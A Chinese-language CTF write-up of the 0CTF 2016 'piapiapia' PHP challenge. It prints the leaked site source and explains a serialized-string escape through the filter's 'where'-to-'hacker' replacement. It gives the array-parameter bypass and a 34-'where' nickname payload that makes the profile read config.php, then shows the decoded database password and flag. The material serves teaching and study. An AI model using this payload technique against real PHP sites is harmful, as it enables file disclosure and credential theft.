一个很可爱的登录界面:
进行一下目录扫描,发现源码泄露www.zip,把源码给出:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
<?php
require_once ( 'class.php' );
if ( $_SESSION [ 'username' ]) {
header( 'Location: profile.php' );
exit ;
}
if ( $_POST [ 'username' ] && $_POST [ 'password' ]) {
$username = $_POST [ 'username' ];
$password = $_POST [ 'password' ];
if ( strlen ( $username ) < 3 or strlen ( $username ) > 16)
die ( 'Invalid user name' );
if ( strlen ( $password ) < 3 or strlen ( $password ) > 16)
die ( 'Invalid password' );
if ( $user ->login( $username , $password )) {
$_SESSION [ 'username' ] = $username ;
header( 'Location: profile.php' );
exit ;
}
else {
die ( 'Invalid user name or password' );
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" >
<script src= "static/jquery.min.js" ></script>
<script src= "static/bootstrap.min.js" ></script>
</head>
<body>
<div class = "container" style= "margin-top:100px" >
<form action= "index.php" method= "post" class = "well" style= "width:220px;margin:0px auto;" >
<img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" >
<h3>Login</h3>
<label>Username:</label>
<input type= "text" name= "username" style= "height:30px" class = "span3" />
<label>Password:</label>
<input type= "password" name= "password" style= "height:30px" class = "span3" >
<button type= "submit" class = "btn btn-primary" >LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
|
在输入账号密码之后进入了profile.php,下面是profile.php的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
require_once ( 'class.php' );
if ( $_SESSION [ 'username' ] == null) {
die ( 'Login First' );
}
$username = $_SESSION [ 'username' ];
$profile = $user ->show_profile( $username );
if ( $profile == null) {
header( 'Location: update.php' );
}
else {
$profile = unserialize( $profile );
$phone = $profile [ 'phone' ];
$email = $profile [ 'email' ];
$nickname = $profile [ 'nickname' ];
$photo = base64_encode ( file_get_contents ( $profile [ 'photo' ]));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" >
<script src= "static/jquery.min.js" ></script>
<script src= "static/bootstrap.min.js" ></script>
</head>
<body>
<div class = "container" style= "margin-top:100px" >
<img src= "data:image/gif;base64,<?php echo $photo; ?>" class = "img-memeda " style= "width:180px;margin:0px auto;" >
<h3>Hi <?php echo $nickname ;?></h3>
<label>Phone: <?php echo $phone ;?></label>
<label>Email: <?php echo $email ;?></label>
</div>
</body>
</html>
<?php
}
?>
|
还有注册页面的源码(没有太大用),register.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
<?php
require_once ( 'class.php' );
if ( $_POST [ 'username' ] && $_POST [ 'password' ]) {
$username = $_POST [ 'username' ];
$password = $_POST [ 'password' ];
if ( strlen ( $username ) < 3 or strlen ( $username ) > 16)
die ( 'Invalid user name' );
if ( strlen ( $password ) < 3 or strlen ( $password ) > 16)
die ( 'Invalid password' );
if (! $user ->is_exists( $username )) {
$user ->register( $username , $password );
echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>' ;
}
else {
die ( 'User name Already Exists' );
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" >
<script src= "static/jquery.min.js" ></script>
<script src= "static/bootstrap.min.js" ></script>
</head>
<body>
<div class = "container" style= "margin-top:100px" >
<form action= "register.php" method= "post" class = "well" style= "width:220px;margin:0px auto;" >
<img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" >
<h3>Register</h3>
<label>Username:</label>
<input type= "text" name= "username" style= "height:30px" class = "span3" />
<label>Password:</label>
<input type= "password" name= "password" style= "height:30px" class = "span3" >
<button type= "submit" class = "btn btn-primary" >REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
|
然后是update.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
<?php
require_once ( 'class.php' );
if ( $_SESSION [ 'username' ] == null) {
die ( 'Login First' );
}
if ( $_POST [ 'phone' ] && $_POST [ 'email' ] && $_POST [ 'nickname' ] && $_FILES [ 'photo' ]) {
$username = $_SESSION [ 'username' ];
if (!preg_match( '/^\d{11}$/' , $_POST [ 'phone' ]))
die ( 'Invalid phone' );
if (!preg_match( '/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST [ 'email' ]))
die ( 'Invalid email' );
if (preg_match( '/[^a-zA-Z0-9_]/' , $_POST [ 'nickname' ]) || strlen ( $_POST [ 'nickname' ]) > 10)
die ( 'Invalid nickname' );
$file = $_FILES [ 'photo' ];
if ( $file [ 'size' ] < 5 or $file [ 'size' ] > 1000000)
die ( 'Photo size error' );
move_uploaded_file( $file [ 'tmp_name' ], 'upload/' . md5( $file [ 'name' ]));
$profile [ 'phone' ] = $_POST [ 'phone' ];
$profile [ 'email' ] = $_POST [ 'email' ];
$profile [ 'nickname' ] = $_POST [ 'nickname' ];
$profile [ 'photo' ] = 'upload/' . md5( $file [ 'name' ]);
$user ->update_profile( $username , serialize( $profile ));
echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>' ;
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href= "static/bootstrap.min.css" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "external nofollow" rel= "stylesheet" >
<script src= "static/jquery.min.js" ></script>
<script src= "static/bootstrap.min.js" ></script>
</head>
<body>
<div class = "container" style= "margin-top:100px" >
<form action= "update.php" method= "post" enctype= "multipart/form-data" class = "well" style= "width:220px;margin:0px auto;" >
<img src= "static/piapiapia.gif" class = "img-memeda " style= "width:180px;margin:0px auto;" >
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type= "text" name= "phone" style= "height:30px" class = "span3" />
<label>Email:</label>
<input type= "text" name= "email" style= "height:30px" class = "span3" />
<label>Nickname:</label>
<input type= "text" name= "nickname" style= "height:30px" class = "span3" >
<label for = "file" >Photo:</label>
<input type= "file" name= "photo" style= "height:30px" class = "span3" />
<button type= "submit" class = "btn btn-primary" >UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
|
核心的处理代码,class.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
|
<?php
require ( 'config.php' );
class user extends mysql{
private $table = 'users' ;
public function is_exists( $username ) {
$username = parent::filter( $username );
$where = "username = '$username'" ;
return parent::select( $this ->table, $where );
}
public function register( $username , $password ) {
$username = parent::filter( $username );
$password = parent::filter( $password );
$key_list = Array( 'username' , 'password' );
$value_list = Array( $username , md5( $password ));
return parent::insert( $this ->table, $key_list , $value_list );
}
public function login( $username , $password ) {
$username = parent::filter( $username );
$password = parent::filter( $password );
$where = "username = '$username'" ;
$object = parent::select( $this ->table, $where );
if ( $object && $object ->password === md5( $password )) {
return true;
} else {
return false;
}
}
public function show_profile( $username ) {
$username = parent::filter( $username );
$where = "username = '$username'" ;
$object = parent::select( $this ->table, $where );
return $object ->profile;
}
public function update_profile( $username , $new_profile ) {
$username = parent::filter( $username );
$new_profile = parent::filter( $new_profile );
$where = "username = '$username'" ;
return parent::update( $this ->table, 'profile' , $new_profile , $where );
}
public function __tostring() {
return __class__ ;
}
}
class mysql {
private $link = null;
public function connect( $config ) {
$this ->link = mysql_connect(
$config [ 'hostname' ],
$config [ 'username' ],
$config [ 'password' ]
);
mysql_select_db( $config [ 'database' ]);
mysql_query( "SET sql_mode='strict_all_tables'" );
return $this ->link;
}
public function select( $table , $where , $ret = '*' ) {
$sql = "SELECT $ret FROM $table WHERE $where" ;
$result = mysql_query( $sql , $this ->link);
return mysql_fetch_object( $result );
}
public function insert( $table , $key_list , $value_list ) {
$key = implode( ',' , $key_list );
$value = '\'' . implode( '\',\'' , $value_list ) . '\'' ;
$sql = "INSERT INTO $table ($key) VALUES ($value)" ;
return mysql_query( $sql );
}
public function update( $table , $key , $value , $where ) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where" ;
return mysql_query( $sql );
}
public function filter( $string ) {
$escape = array ( '\'' , '\\\\' );
$escape = '/' . implode( '|' , $escape ) . '/' ;
$string = preg_replace( $escape , '_' , $string );
$safe = array ( 'select' , 'insert' , 'update' , 'delete' , 'where' );
$safe = '/' . implode( '|' , $safe ) . '/i' ;
return preg_replace( $safe , 'hacker' , $string );
}
public function __tostring() {
return __class__ ;
}
}
session_start();
$user = new user();
$user ->connect( $config );
|
最后是config.php:
1
2
3
4
5
6
7
|
<?php
$config [ 'hostname' ] = '127.0.0.1' ;
$config [ 'username' ] = 'root' ;
$config [ 'password' ] = '' ;
$config [ 'database' ] = '' ;
$flag = '' ;
?>
|
看来flag就是在config.php中了,要想办法拿到config.php的内容了。
然后就是代码审计了。
seay代码审计系统也可以给点线索的:
这个地方貌似有个文件读取的地方,在profile.php中:
1
2
3
4
5
6
7
|
else {
$profile = unserialize( $profile );
$phone = $profile [ 'phone' ];
$email = $profile [ 'email' ];
$nickname = $profile [ 'nickname' ];
$photo = base64_encode ( file_get_contents ( $profile [ 'photo' ]));
?>
|
上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
1
2
|
$profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;s:8: "sea_sand" ;s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;}
print_r(unserialize( $profile ));
|
结果如下:
1
2
3
4
5
6
7
|
Array
(
[phone] => 12345678901
[email] => ss@q.com
[nickname] => sea_sand
[photo] => config.php
)
|
可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。
在设置了$profile之后,用update_profile()函数进行处理:
1
2
3
4
5
6
7
|
public function update_profile( $username , $new_profile ) {
$username = parent::filter( $username );
$new_profile = parent::filter( $new_profile );
$where = "username = '$username'" ;
return parent::update( $this ->table, 'profile' , $new_profile , $where );
}
|
进行了过滤:
1
2
3
4
5
6
7
8
9
|
public function filter( $string ) {
$escape = array ( '\'' , '\\\\' );
$escape = '/' . implode( '|' , $escape ) . '/' ;
$string = preg_replace( $escape , '_' , $string );
$safe = array ( 'select' , 'insert' , 'update' , 'delete' , 'where' );
$safe = '/' . implode( '|' , $safe ) . '/i' ;
return preg_replace( $safe , 'hacker' , $string );
}
|
有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
1
2
3
4
5
6
7
|
if (preg_match( '/[^a-zA-Z0-9_]/' , $_POST [ 'nickname' ]) || strlen ( $_POST [ 'nickname' ]) > 10)
die ( 'Invalid nickname' );
数组即可绕过:
nickname[]=
那么 $profile 就是这样了:
$profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;a:1:{i:0;s:3: "xxx" };s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;}
|
后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:
1
2
3
|
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ";}s:5:" photo ";s:10:" config.php";}
$profile = a:4:{s:5: "phone" ;s:11: "12345678901" ;s:5: "email" ;s:8: "ss@q.com" ;s:8: "nickname" ;a:1:{i:0;s:204: "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere" };s:5: "photo" ;s:10: "config.php" ;}s:39: "upload/804f743824c0451b2f60d81b63b6a900" ;}
|
在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:
然后进入到profile中查看图片信息,把base64码解码:
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解码得到:
1
2
3
4
5
6
7
|
<?php
$config [ 'hostname' ] = '127.0.0.1' ;
$config [ 'username' ] = 'root' ;
$config [ 'password' ] = 'qwertyuiop' ;
$config [ 'database' ] = 'challenges' ;
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}' ;
?>
|
总结
以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/96777110